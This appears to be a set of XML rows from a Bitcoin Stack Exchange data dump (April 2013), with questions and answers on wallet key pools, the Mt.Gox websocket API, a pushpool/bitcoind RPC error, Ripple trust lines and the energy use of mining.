  <row Id="10052" PostTypeId="2" ParentId="10051" CreationDate="2013-04-21T06:45:49.757" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Better yet, bitcoin-qt should have a permanent pool of 100 addresses, and add a new random address when you use one, in a FIFO style. That way you should be quite safe if you do less than 100 outgoing transactions between backups!.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's what it does.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-21T06:45:49.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10053" PostTypeId="2" ParentId="10050" CreationDate="2013-04-21T08:07:59.907" Score="1" Body="&lt;p&gt;The Bitcoin-Qt/bitcoind client computes the balance as you describe, by summing up all the transactions for all the Bitcoin addresses in the wallet.dat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain contains all transactions since the genesis block (block 0).  So the balances are simply all the unspent transaction outputs (UTXOs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are third party services which will monitor the blockchain to provide balance info for a specified address or addresses.  &lt;a href=&quot;http://btcbalance.net&quot; rel=&quot;nofollow&quot;&gt;BTCBalance.net&lt;/a&gt; is one.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-21T08:07:59.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10054" PostTypeId="1" AcceptedAnswerId="10063" CreationDate="2013-04-21T08:49:02.370" Score="2" ViewCount="415" Body="&lt;p&gt;Here's a bit of node.js code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var WebSocket = require('ws');&#xA;var ws = new WebSocket('ws://websocket.mtgox.com:80/mtgox?Currency=USD');&#xA;ws.on('open', function() {&#xA;    console.log('Connection opened');&#xA;    ws.send(JSON.stringify({ &quot;op&quot;: &quot;mtgox.subscribe&quot;, &quot;type&quot;: &quot;depth.BTCUSD&quot; }));&#xA;});&#xA;ws.on('message', function(message) { console.log(message); });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When this client sends &lt;code&gt;{&quot;op&quot;: &quot;mtgox.subscribe&quot;, &quot;type&quot;: &quot;depth.BTCUSD&quot; }&lt;/code&gt; the API returns &lt;code&gt;{&quot;message&quot;:&quot;Unknown mtgox message type&quot;,&quot;op&quot;:&quot;remark&quot;,&quot;success&quot;:false}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3985" LastEditorUserId="196" LastEditDate="2013-04-21T09:50:35.887" LastActivityDate="2013-04-21T17:12:35.757" Title="Websocket API: Uknown mtgox message type" Tags="|api|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10056" PostTypeId="2" ParentId="7954" CreationDate="2013-04-21T13:18:33.070" Score="1" Body="&lt;p&gt;To send money to a friend in Ripple, you don't have to convert the money into XRP. You send the money as dollars, Bitcoins or whatever and spend XRP just as a transaction fee. That's why they won't be (and don't need to be) very valuable.&lt;/p&gt;&#xA;" OwnerUserId="4561" LastActivityDate="2013-04-21T13:18:33.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10057" PostTypeId="1" CreationDate="2013-04-21T13:36:26.310" Score="1" ViewCount="3887" Body="&lt;p&gt;I'm trying to setup pushpool + bitcoind.  However, when I connect to pushpool with cpuminer I receive this error:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-04-21 12:47:47] json_rpc_call failed, retry after 30 seconds  &#xA;[2013-04-21 12:48:17] JSON-RPC call failed: {  &#xA;   &quot;code&quot;: -2,  &#xA;   &quot;message&quot;: &quot;upstream RPC error&quot;  &#xA;}  &#xA;[2013-04-21 12:48:17] json_rpc_call failed, retry after 30 seconds  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see this error in the &lt;strong&gt;pushpool server log&lt;/strong&gt;:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ip-10-28-79-184:/usr/local/sbin# ./pushpoold --debug=2 --stderr --  foreground --config=/usr/local/sbin/server.json  &#xA;[2013-04-21 13:26:28.319949] Debug output enabled  &#xA;[2013-04-21 13:26:28.333064] Forcing local hostname to localhost  &#xA;[2013-04-21 13:26:28.456350] Listening on host :: port 8336  &#xA;[2013-04-21 13:26:28.456477] Listening on host 10.28.79.184 port 8334  &#xA;[2013-04-21 13:26:28.485367] initialized  &#xA;JSON protocol request:  &#xA;{&quot;method&quot;: &quot;getwork&quot;, &quot;params&quot;: [], &quot;id&quot;:1}  &#xA;&#xA;About to connect() to 127.0.0.1 port 8332 (#0)  &#xA;   Trying 127.0.0.1... * TCP_NODELAY set  &#xA; connected  &#xA; Connected to 127.0.0.1 (127.0.0.1) port 8332 (#0)  &#xA; Server auth using Basic with user 'username'  &#xA; POST / HTTP/1.1  &#xA;Authorization: Basic dXNlcm5hbWV2YXN5YTpwYXNzd29yZHZhc3lhMTQ=  &#xA;Host: 127.0.0.1:8332  &#xA;Accept: */*  &#xA;Accept-Encoding: deflate, gzip  &#xA;Content-type: application/json  &#xA;Content-Length: 45  &#xA;&#xA; The requested URL returned error: 500  &#xA; Closing connection #0  &#xA;[2013-04-21 13:26:31.743119] HTTP request failed: The requested URL returned error: 500  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;bitcoind config:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=0  &#xA;server=1  &#xA;rpcuser=username  &#xA;rpcpassword=password  &#xA;rpctimeout=30  &#xA;rpcallowip=*  &#xA;rpcport=8332  &#xA;rpcconnect=127.0.0.1  &#xA;gen=0   &#xA;keypool=256  &#xA;paytxfee=0.00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pushpool config:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;    &quot;listen&quot;: [  &#xA;        {  &#xA;            &quot;port&quot;: 8336  &#xA;        },  &#xA;        {  &#xA;            &quot;host&quot; : &quot;server_ip&quot;,  &#xA;            &quot;port&quot; : 8334,  &#xA;            &quot;protocol&quot; : &quot;http-json&quot;  &#xA;        }  &#xA;    ],  &#xA;    &quot;database&quot;: {  &#xA;        &quot;engine&quot;: &quot;mysql&quot;,  &#xA;        &quot;host&quot;: &quot;localhost&quot;,  &#xA;        &quot;port&quot;: 3306,  &#xA;        &quot;name&quot;: &quot;bitcoin&quot;,    &#xA;        &quot;username&quot;: &quot;mysql_username&quot;,  &#xA;        &quot;password&quot;: &quot;mysql_password&quot;,  &#xA;        &quot;sharelog&quot;: true,  &#xA;        &quot;stmt.pwdb&quot;: &quot;SELECT `password` FROM `pool_worker` WHERE `username` = ?&quot;,  &#xA;        &quot;stmt.sharelog&quot; :  &quot;INSERT INTO shares (rem_host, username, our_result, upstream_result, reason, solution) VALUES (?, ?, ?, ?, ?, ?)&quot;  &#xA;    },  &#xA;&#xA;&quot;pid&quot;: &quot;/tmp/pushpool/pushpoold.pid&quot;,  &#xA;&quot;forcehost&quot;: &quot;localhost&quot;,  &#xA;    &quot;log.requests&quot;: &quot;/tmp/pushpool/request.log&quot;,  &#xA;    &quot;log.shares&quot;: &quot;/tmp/pushpool/shares.log&quot;,  &#xA;    &quot;auth.cred_cache.expire&quot;: 75,  &#xA;    &quot;rpc.url&quot;: &quot;http:// 127.0.0.1:8332/&quot;,  &#xA;    &quot;rpc.user&quot;: &quot;username&quot;,  &#xA;    &quot;rpc.pass&quot;: &quot;password&quot;,  &#xA;    &quot;rpc.target.rewrite&quot;: true  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to change ports, and even rebooted the server,  nothing helps. &lt;/p&gt;&#xA;" OwnerUserId="4562" LastEditorUserId="4562" LastEditDate="2013-04-21T19:10:46.947" LastActivityDate="2013-11-18T00:07:33.527" Title="bitcoind replies 500 error" Tags="|bitcoind|pushpool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10058" PostTypeId="2" ParentId="4161" CreationDate="2013-04-21T15:33:17.723" Score="-1" Body="&lt;p&gt;The idea that Bitcoin is superior to government-issued fiat is based on a few myths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Myth #1: Bitcoin cannot be created &quot;out of thin air&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8776/could-there-be-hyperinflation-in-bitcoin&quot;&gt;not true&lt;/a&gt;. More coins can be created if a significant number of users (either the &lt;a href=&quot;https://en.bitcoin.it/wiki/Economic_majority&quot; rel=&quot;nofollow noreferrer&quot;&gt;economic majority&lt;/a&gt; or the majority of the mining hash power) decide that it's good for the system. Given the history of all money, it is almost guaranteed that this will happen. It is the same as government-issued paper. Remember, the US dollar was once linked to gold, and apparently could not be created out of thin air. When rules are made by humans, the rules can be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A separate but related point: nothing prevents Bitcoin from being levered like fractional reserve banking. See how gold ETFs work. Gold cannot be created out of thin air (even if everyone agrees!), but you can create paper on top of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Myth #2: Bitcoin is decentralized and not controlled by any single authority&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this is not true. Bitcoin does have an informal &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9986/how-is-a-hard-fork-resolved&quot;&gt;system of governance&lt;/a&gt;. A few people do make decisions on behalf of everyone else. This is just like a democratically elected government, except that it isn't democratically elected (so it's a &quot;benevolent dictatorship&quot;). It's very much like a central bank that decides which banks are bailed out and which banks are allowed to fail (see: 2008 financial crisis), who gets to keep their money and who loses theirs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easier for the miners to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9790/is-it-possible-for-the-miners-to-collude-to-blackmail-a-single-wealthy-address&quot;&gt;tax your bitcoins&lt;/a&gt; than it is for the government to tax your dollars (see: Cyprus depositor tax).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Myth #3: Bitcoin cannot be counterfeited&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is trivial for anyone to create an implementation of the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin design&lt;/a&gt; (PDF) and call it &quot;Bitcoin.&quot; For example, you could create an alternative version of the design with a upper limit of 42 million coins instead of the current 21 million, with faster transaction processing. Incidentally, this is exactly what Litecoin does. Litecoin could just call itself &quot;Bitcoin&quot; and it would be legitimate, because it does follow exactly the design laid out in the Bitcoin white paper. Therefore any number of Bitcoin clones can legitimately call themselves &quot;Bitcoin&quot; as long as they follow the white paper (this is how it's supposed to work), and therefore in a sense there can be any amount of &quot;counterfeit&quot; Bitcoin currency in circulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had an agreement with someone to pay you in bitcoins for a service you provided them, and they paid you in &quot;counterfeit&quot; bitcoins (which are as real as yours), there would be a dispute that would have to be settled in court. This is why Bitcoin is a &lt;em&gt;caveat emptor&lt;/em&gt; system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you paid someone in bitcoins and they claimed them as fake, you couldn't prove it, because they could legitimately claim to have expected to receive a different kind of bitcoins. In this case you would lose your money and get nothing for it in return.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-21T15:33:17.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10059" PostTypeId="1" AcceptedAnswerId="10094" CreationDate="2013-04-21T15:43:46.220" Score="4" ViewCount="4397" Body="&lt;p&gt;I get this error using BitMinter Client v1.3.2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Work rejected. Server says: Stale or alien proof of work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;about every 15 - 45 minutes, just mining on my GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening? What does it mean to have a proof of work rejected? How can I prevent it?&lt;/p&gt;&#xA;" OwnerUserId="4552" LastEditorUserId="2306" LastEditDate="2013-04-21T17:18:51.337" LastActivityDate="2013-08-15T10:02:34.483" Title="Work rejected. Server says: Stale or alien proof of work" Tags="|client|mining-pools|proof-of-work|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10060" PostTypeId="1" AcceptedAnswerId="10097" CreationDate="2013-04-21T15:47:02.593" Score="7" ViewCount="5431" Body="&lt;p&gt;A &lt;a href=&quot;http://www.bloomberg.com/news/2013-04-12/virtual-bitcoin-mining-is-a-real-world-environmental-disaster.html&quot; rel=&quot;nofollow&quot;&gt;recent Bloomberg article&lt;/a&gt; stated that the Bitcoin network currently consumes about half as much energy as the Large Hadron Collider or enough to power 31,000 US homes. Even if the article is way off the mark, it is undeniable that the network's &lt;a href=&quot;http://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow&quot;&gt;energy consumption&lt;/a&gt; (based on hash rate) goes up in direct proportion to the &lt;a href=&quot;http://blockchain.info/charts/market-price&quot; rel=&quot;nofollow&quot;&gt;market price&lt;/a&gt; of a unit of the Bitcoin currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://blockchain.info/stats&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;, the network is currently consuming 1,203.97 megawatt hours per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much energy is the Bitcoin network expected to consume as the price of a bitcoin goes up from around $100 today to $1,000, $10,000, and so on?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2016-03-11T15:02:02.193" LastActivityDate="2016-03-11T15:02:02.193" Title="How much energy will the Bitcoin network eventually consume?" Tags="|exchange-rate|economic-theory|mining-profitability|energy-consumption|macroeconomics|" AnswerCount="6" CommentCount="4" ClosedDate="2013-05-11T16:51:05.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="10061" PostTypeId="2" ParentId="10060" CreationDate="2013-04-21T15:58:20.357" Score="3" Body="&lt;p&gt;There is no guarantee that transaction processing, aka &quot;mining&quot;, will always be attractive. As such there is no guarantee that the network 'difficulty' will always go up, it fluctuates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore in a scenario, difficulty can settle at a value much lower than it is today, and/or specialized computers can become more power efficient. Bitcoin can also use a different algorithm than SHA-256, rendering sha-256 asic machines useless and no longer contributory to the network energy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is impossible to answer your question based on the simple premise you present.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2013-04-28T03:38:25.147" LastActivityDate="2013-04-28T03:38:25.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10062" PostTypeId="2" ParentId="10060" CreationDate="2013-04-21T16:21:49.573" Score="7" Body="&lt;p&gt;The upper boundary for energy usage can be described with a function of the profit and energy costs. Miners won't ever pay more for energy than they get from profits. The actual energy usage formula will also have to count for the hardware costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The formula will look something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max energy usage = (profit - hardware costs) / energy cost per unit&#xA;profit = exchange rate * generated btc&#xA;generated btc = transaction fees + block creation bonus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the energy usage depends on the following factors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Energy cost per unit (kWh)&lt;/li&gt;&#xA;&lt;li&gt;Hardware costs&lt;/li&gt;&#xA;&lt;li&gt;Block creation bonus (currently 25, some day 0)&lt;/li&gt;&#xA;&lt;li&gt;Transaction fees (currently hardly relevant, some day very important)&lt;/li&gt;&#xA;&lt;li&gt;Exchange rate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And, of course :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much money the miners want to keep&lt;/li&gt;&#xA;&lt;li&gt;Taxes?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$10,000 a coin times 52560 (blocks per year) times 25 (coins per block) gives $13,140,000,000 mined USD a year. Yes, that's thirteen billion USD in mining profits. If we divide this by $0.20 per kWh, then the upper boundary for energy use will be 52,560,000,000 kWh (52 TWh), roughly 2/1000 of the total energy consumption of the USA. Of course, if we assume that 90% of the money goes to hardware and not energy, the actual energy usage will be more like 5TWh. (&lt;a href=&quot;https://www.google.com/search?q=%286%2a24%2a365%2a25%2a10000USD%29/%280.25USD/kWh%29%20in%20kwh&quot; rel=&quot;nofollow&quot;&gt;Link to the calculation&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-04-28T00:23:25.673" LastActivityDate="2013-04-28T00:23:25.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10063" PostTypeId="2" ParentId="10054" CreationDate="2013-04-21T17:12:35.757" Score="1" Body="&lt;p&gt;try using socket.io-client &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var io = require('socket.io-client');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then its as simple as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var socket = io.connect( 'https://socketio.mtgox.com/mtgox' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then to subscribe to a specific channel &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var message = {&#xA;  &quot;op&quot;: &quot;subscribe&quot;,&#xA;  &quot;channel&quot;: &quot;24e67e0d-1cad-4cc0-9e7a-f8523ef460fe&quot; // this is the market depth channel&#xA;};&#xA;&#xA;socket.send(JSON.stringify(message));&#xA;&#xA;socket.on('message', function(message) { console.log(message); });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should give you the results your looking for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your main problem is that your not using the channel id's in your connection message. Here is the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Incoming_Data&quot; rel=&quot;nofollow&quot;&gt;Mtgox web sockets api&lt;/a&gt; which has a list of all the different channel id's. And heres a &lt;a href=&quot;https://github.com/arthurpham/node-mtgox-socketio-client&quot; rel=&quot;nofollow&quot;&gt;project&lt;/a&gt; which implements them generically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-21T17:12:35.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10064" PostTypeId="1" AcceptedAnswerId="10076" CreationDate="2013-04-21T17:41:40.633" Score="2" ViewCount="272" Body="&lt;p&gt;I tend to distinguish two types of trust:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) I trust you to &lt;strong&gt;lend me&lt;/strong&gt; XXX in quantity up to N units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) I trust you to &lt;strong&gt;borrow from me&lt;/strong&gt; YYY in quantity up to M units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, ripple documentation appears to not make such a distinction. At least not clearly and explicitly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using ripple.com client I can trust someone to lend me, but I see no way to trust someone to borrow from me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help clear this conceptual hurdle for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been lending &amp;amp; borrowing all my life and never, ever was I confused about who owes me and whom do I owe. Now, with the advanced mathematical currency &amp;amp; exchange system I am not sure about that anymore. &lt;/p&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="4354" LastEditDate="2013-04-22T00:34:30.137" LastActivityDate="2013-04-22T04:12:14.883" Title="Ripple two types of trust. Or no?" Tags="|ripple|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10065" PostTypeId="2" ParentId="10060" CreationDate="2013-04-21T19:05:08.203" Score="3" Body="&lt;p&gt;I assert that this question is virtually irrelevant based on another assertion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin is more energy efficient and will always be more energy efficient than the systems it intends to wholly replace.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both Bitcoin and the legacy currency and monetary systems, there is energy spent for some of the key tenets of a value storage and exchange system.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Consider the energy expended to hold balances. &#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much electricity is used to power the banks daily? How much energy is wasted in the form of gasoline for employees' commute?&lt;/li&gt;&#xA;&lt;li&gt;How much electricity is used to simply store Bitcoin data? &lt;em&gt;Zero.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Consider the energy expended to process transactions and route money to its &#xA;destination.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much electricity and such is used to move money from one place to another? Sure, it's largely electronic just like Bitcoin, but let's also account for the production, movement, and destruction of physical currency.&lt;/li&gt;&#xA;&lt;li&gt;How much electricity is consumed for Bitcoin mining? This increases daily, but as other answers indicate, the consumption rate will &lt;em&gt;decrease&lt;/em&gt; if blocks aren't entering the system often enough. This is the biweekly difficulty adjustment.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Consider the energy expended to investigate chargebacks and fraud.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much energy does it take to reverse a single credit card transaction? How many people, how many phone calls, how much electricity is wasted because of preventable fraud?&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin cannot be reversed, only recovered. However, the investigation could expend a lot of energy since it's like recovering physical cash.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Consider the energy expended to market the technology and advocate for it.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much do the players in our payment system expend their own profits in order to further its system &lt;em&gt;because of the business necessity to make money&lt;/em&gt;?&lt;/li&gt;&#xA;&lt;li&gt;How much are you willing to expend to help foster Bitcoin &quot;everywhere you want to be?&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-21T19:05:08.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10066" PostTypeId="1" AcceptedAnswerId="10316" CreationDate="2013-04-21T19:22:33.593" Score="4" ViewCount="468" Body="&lt;p&gt;I've been developing an introductory course on Bitcoin and would like to have a lecture about its history. Other than Wikipedia, does there exist a community-accepted resource elaborating on the history of Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="37414" LastEditDate="2018-05-17T20:44:26.203" LastActivityDate="2018-05-17T20:44:26.203" Title="An authoritative resource for the history of Bitcoin" Tags="|history|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="10067" PostTypeId="2" ParentId="9296" CreationDate="2013-04-21T20:32:21.200" Score="3" Body="&lt;p&gt;Bitcoins themselves are not stored anywhere. The only things stored are (1) the blockchain, basically a record of all transactions, and (2) your wallet which most importantly contains your private key(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you are talking about is to send Bitcoins to another wallet of yours &lt;strong&gt;but not update the new wallet yet&lt;/strong&gt;. Meaning: not letting the client realize that a certain transaction in the blockchain belongs to its wallet. This is possible if you feel like it; you can keep the wallet disconnected from the network for example. You can always update your wallet later by connecting it or importing the blockchain and using &lt;code&gt;bitcoind -rescan&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in theory this would not matter at all until you send the coins to another address again. This then will put a new transaction record in the blockchain which you sign using your private key. At this point you publicly state that the coins are yours.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2013-04-21T20:32:21.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10068" PostTypeId="2" ParentId="9296" CreationDate="2013-04-21T20:55:13.733" Score="2" Body="&lt;p&gt;Say you generate a new Bitcoin address using a tool like &lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt;, you can immediately receive a payment on that address. Once you have received the payment, you already &quot;own&quot; the amount, because you have the private key to unlock those funds. The fact that the address is not in your wallet.dat doesn't matter. In that sense, there's nothing to &quot;pick up&quot; here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could of course &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys&quot; rel=&quot;nofollow&quot;&gt;import your private key&lt;/a&gt; into the client software so you can actually spend the funds at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With real cash (dollar bills), possession is ownership. With Bitcoin, knowledge of the private key is ownership. If you have the private key, the money is yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://en.bitcoin.it/wiki/Brainwallet&quot; rel=&quot;nofollow&quot;&gt;Brainwallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-21T20:55:13.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10069" PostTypeId="2" ParentId="9296" CreationDate="2013-04-21T21:52:27.510" Score="1" Body="&lt;p&gt;Your client doesn't actually &quot;store&quot; anything; it's the blockchain that records how many bitcoins belong to a given address. If your client is not online when coins are sent to your address, this doesn't matter at all: the network will still acknowledge that those coins now belong to your address, and your client will report this as soon as you fire it up and connect it to the network. If this doesn't happen, then the coins will be lost and unusable by anyone.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-04-21T21:52:27.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10070" PostTypeId="1" CreationDate="2013-04-21T22:38:34.713" Score="0" ViewCount="454" Body="&lt;p&gt;When you send money, does Bitcoin-Qt automatically sign the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Receive Coins tab, why is there a Sign Message button? Which message am I signing? There is no Send Message button, either. When you click on Sign Message, there is also a Verify Message tab. What am I verifying? Shouldn't the system ensure that I'm receiving a properly signed coins bundle?&lt;/p&gt;&#xA;" OwnerUserId="4551" LastActivityDate="2013-04-21T22:47:03.030" Title="Bitcoin-Qt Signing" Tags="|bitcoin-core|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10072" PostTypeId="2" ParentId="10070" CreationDate="2013-04-21T22:47:03.030" Score="2" Body="&lt;p&gt;The sign/verify message feature has nothing to do with the regular wallet functionality. Sending and receiving coins has nothing to with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It provides the ability to sign a message... anything you like, using one of your addresses, proving that you are the owner of the address. It can be used to prove you own some amount of bitcoins, without actually sending them for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a feature regular users will frequently need.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-21T22:47:03.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10073" PostTypeId="2" ParentId="10060" CreationDate="2013-04-22T00:19:41.890" Score="1" Body="&lt;p&gt;In a very short amount of time essentially all mining will be on ASICs.  The BFL Jalapeno just shipped.  That generation of ASIC will probably represent the majority of hashing when all backorders are shipped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That device does 5.5 Ghash/s and consumes 30W, per David Perry's &lt;a href=&quot;http://www.youtube.com/watch?v=_6mmTRheUzg&quot; rel=&quot;nofollow&quot;&gt;first hand account of the one he received&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today the hashing capacity is 66 Thash/s.  That is 66,000 Ghash/s.  If all of that was done on BFL Jalapenos there would need to be 12,000 of them.  Each consumes 30W so all 12K of them draws 360kW.  So in one day that electrical consumption is 8,640 kWh.  At $0.15 per kWh (the average residential price of electricity in the U.S.), that totals $1,296 per-day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Avalon ASIC is about half as efficient (60 Ghash/s consumes 600W), so if all mining today was Avalon ASICs, then that total electrical consumption is about $2,376 per-day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe close to a third of the network is still GPU (e.g., 22Thash/s), so perhaps that would be about $35K USD per-day, but those GPUs will quickly be dropping offline as their profitability drops thanks to ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't help know what total electrical consumption a year out will be but that is because it isn't known today what the exchange rate will be a year out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, today's ASICs are first generation.  They could get replaced with new designs that perform 50% better even.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-22T00:19:41.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
